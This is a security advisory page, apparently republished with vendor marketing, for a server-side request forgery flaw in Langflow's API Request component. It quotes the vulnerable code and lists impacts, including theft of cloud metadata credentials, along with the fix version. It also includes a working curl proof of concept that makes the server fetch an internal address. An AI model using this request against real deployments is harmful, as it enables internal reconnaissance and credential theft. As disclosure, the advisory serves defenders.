GHSA-5993-7p27-66g5
HIGHGHSA-5993-7p27-66g5 is a high-severity (CVSS 7.7) Server-Side Request Forgery (SSRF) vulnerability in langflow. O3 Security confirms whether GHSA-5993-7p27-66g5 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Langflow vulnerable to Server-Side Request Forgery
Blast Radius
langflowReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Vulnerability Overview
Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.
Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.
Vulnerable Code
-
When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.
@router.post("/run/{flow_id_or_name}", response_model=None, response_model_exclude_none=True) async def simplified_run_flow( *, background_tasks: BackgroundTasks, flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)], input_request: SimplifiedAPIRequest | None = None, stream: bool = False, api_key_user: Annotated[UserRead, Depends(api_key_security)], context: dict | None = None, http_request: Request, ):@router.post( "/run/advanced/{flow_id_or_name}", response_model=RunResponse, response_model_exclude_none=True, ) async def experimental_run_flow( *, session: DbSession, flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)], inputs: list[InputValueRequest] | None = None, outputs: list[str] | None = None, tweaks: Annotated[Tweaks | None, Body(embed=True)] = None, stream: Annotated[bool, Body(embed=True)] = False, session_id: Annotated[None | str, Body(embed=True)] = None, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> RunResponse: -
Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.
def _normalize_url(self, url: str) -> str: """Normalize URL by adding https:// if no protocol is specified.""" if not url or not isinstance(url, str): msg = "URL cannot be empty" raise ValueError(msg) url = url.strip() if url.startswith(("http://", "https://")): return url return f"https://{url}"url = self._normalize_url(url) # Validate URL if not validators.url(url): msg = f"Invalid URL provided: {url}" raise ValueError(msg) -
On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"].
try: # Prepare request parameters request_params = { "method": method, "url": url, "headers": headers, "json": processed_body, "timeout": timeout, "follow_redirects": follow_redirects, } response = await client.request(**request_params)# Base metadata metadata = { "source": url, "status_code": response.status_code, "response_headers": response_headers, }# Handle response content if is_binary: result = response.content else: try: result = response.json() except json.JSONDecodeError: self.log("Failed to decode JSON response") result = response.text.encode("utf-8") metadata["result"] = result if include_httpx_metadata: metadata.update({"headers": headers}) return Data(data=metadata)
PoC
PoC Description
- I launched a Langflow server using the latest
langflowai/langflow:latestDocker container, and a separate containerinternal-apithat exposes an internal-only endpoint/internalon port 8000. Both containers were attached to the same user-defined network (ssrf-net), allowing communication by name or via the IP 172.18.0.3. - I added an API Request node to a Langflow flow and set the URL to the internal service (
http://172.18.0.3:8000/internal). Then I invoked/api/v1/run/advanced/<FLOW_ID>with an API key to perform SSRF. The response returned the internal service’s body in theresultfield, confirming non-blind SSRF.
PoC
-
Langflow Setting
<img width="1917" height="940" alt="image" src="https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f" /> -
Exploit
<img width="1918" height="1029" alt="image" src="https://github.com/user-attachments/assets/4883029f-bd56-4c23-b5a3-6f8a84dbcce1" />curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \ -H 'Content-Type: application/json' \ -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \ --data-raw '{ "inputs":[{"components":[],"input_value":""}], "outputs":["Chat Output"], "tweaks":{"API Request":{"url_input":"http://172.18.0.3:8000/internal","include_httpx_metadata":false}}, "stream":false }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^```json\\n";"") | sub("\\n```$";"") | fromjson | .result'
Impact
- Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).
- Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.
- Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API).
- Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.
- Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | langflow | all versions | 1.7.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langflow. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update langflow to 1.7.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5993-7p27-66g5 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-5993-7p27-66g5 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-5993-7p27-66g5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5993-7p27-66g5 in your dependencies?
O3 detects GHSA-5993-7p27-66g5 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.